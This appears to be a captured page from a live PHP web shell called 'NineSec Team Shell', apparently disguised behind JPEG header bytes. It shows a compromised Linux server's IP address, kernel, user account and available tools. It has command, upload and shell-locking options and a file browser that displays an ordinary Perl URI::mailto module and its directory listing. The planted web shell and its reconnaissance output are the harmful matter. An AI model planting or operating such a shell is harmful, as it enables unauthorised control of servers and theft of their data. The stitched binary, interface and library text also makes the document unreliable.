�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../bin/../lib64/../usr/share/perl5/URI/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../bin/../lib64/../usr/share/perl5/URI/mailto.pm
package URI::mailto;  # RFC 2368

use strict;
use warnings;

our $VERSION = '1.76';

use parent qw(URI URI::_query);

sub to
{
    my $self = shift;
    my @old = $self->headers;
    if (@_) {
	my @new = @old;
	# get rid of any other to: fields
	for (my $i = 0; $i < @new; $i += 2) {
	    if (lc($new[$i] || '') eq "to") {
		splice(@new, $i, 2);
		redo;
	    }
	}

	my $to = shift;
	$to = "" unless defined $to;
	unshift(@new, "to" => $to);
	$self->headers(@new);
    }
    return unless defined wantarray;

    my @to;
    while (@old) {
	my $h = shift @old;
	my $v = shift @old;
	push(@to, $v) if lc($h) eq "to";
    }
    join(",", @to);
}


sub headers
{
    my $self = shift;

    # The trick is to just treat everything as the query string...
    my $opaque = "to=" . $self->opaque;
    $opaque =~ s/\?/&/;

    if (@_) {
	my @new = @_;

	# strip out any "to" fields
	my @to;
	for (my $i=0; $i < @new; $i += 2) {
	    if (lc($new[$i] || '') eq "to") {
		push(@to, (splice(@new, $i, 2))[1]);  # remove header
		redo;
	    }
	}

	my $new = join(",",@to);
	$new =~ s/%/%25/g;
	$new =~ s/\?/%3F/g;
	$self->opaque($new);
	$self->query_form(@new) if @new;
    }
    return unless defined wantarray;

    # I am lazy today...
    URI->new("mailto:?$opaque")->query_form;
}

1;

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
October 23 2023 6:31:02
root
0755
file
--
March 29 2022 10:40:32
root
0755
urn
--
March 29 2022 10:40:32
root
0755
Escape.pm
6.896 KB
January 09 2019 5:59:57
root
0644
Heuristic.pm
6.371 KB
January 09 2019 5:59:57
root
0644
IRI.pm
0.775 KB
January 09 2019 5:59:57
root
0644
QueryParam.pm
4.747 KB
January 09 2019 5:59:57
root
0644
Split.pm
2.298 KB
January 09 2019 5:59:57
root
0644
URL.pm
5.358 KB
January 09 2019 5:59:57
root
0644
WithBase.pm
3.767 KB
January 09 2019 5:59:57
root
0644
_foreign.pm
0.104 KB
January 09 2019 5:59:57
root
0644
_generic.pm
5.686 KB
January 09 2019 5:59:57
root
0644
_idna.pm
2.03 KB
January 09 2019 5:59:57
root
0644
_ldap.pm
3.173 KB
January 09 2019 5:59:57
root
0644
_login.pm
0.226 KB
January 09 2019 5:59:57
root
0644
_punycode.pm
5.49 KB
January 09 2019 5:59:57
root
0644
_query.pm
2.472 KB
January 09 2019 5:59:57
root
0644
_segment.pm
0.406 KB
January 09 2019 5:59:57
root
0644
_server.pm
3.637 KB
January 09 2019 5:59:57
root
0644
_userpass.pm
1.01 KB
January 09 2019 5:59:57
root
0644
data.pm
3.312 KB
January 09 2019 5:59:57
root
0644
file.pm
9.532 KB
January 09 2019 5:59:57
root
0644
ftp.pm
1.031 KB
January 09 2019 5:59:57
root
0644
gopher.pm
2.371 KB
January 09 2019 5:59:57
root
0644
http.pm
0.415 KB
January 09 2019 5:59:57
root
0644
https.pm
0.141 KB
January 09 2019 5:59:57
root
0644
ldap.pm
2.855 KB
January 09 2019 5:59:57
root
0644
ldapi.pm
0.431 KB
January 09 2019 5:59:57
root
0644
ldaps.pm
0.141 KB
January 09 2019 5:59:57
root
0644
mailto.pm
1.246 KB
January 09 2019 5:59:57
root
0644
mms.pm
0.122 KB
January 09 2019 5:59:57
root
0644
news.pm
1.42 KB
January 09 2019 5:59:57
root
0644
nntp.pm
0.124 KB
January 09 2019 5:59:57
root
0644
pop.pm
1.179 KB
January 09 2019 5:59:57
root
0644
rlogin.pm
0.126 KB
January 09 2019 5:59:57
root
0644
rsync.pm
0.202 KB
January 09 2019 5:59:57
root
0644
rtsp.pm
0.122 KB
January 09 2019 5:59:57
root
0644
rtspu.pm
0.123 KB
January 09 2019 5:59:57
root
0644
sftp.pm
0.096 KB
January 09 2019 5:59:57
root
0644
sip.pm
1.669 KB
January 09 2019 5:59:57
root
0644
sips.pm
0.14 KB
January 09 2019 5:59:57
root
0644
snews.pm
0.168 KB
January 09 2019 5:59:57
root
0644
ssh.pm
0.171 KB
January 09 2019 5:59:57
root
0644
telnet.pm
0.125 KB
January 09 2019 5:59:57
root
0644
tn3270.pm
0.125 KB
January 09 2019 5:59:57
root
0644
urn.pm
2.124 KB
January 09 2019 5:59:57
root
0644

NineSec Team - 2022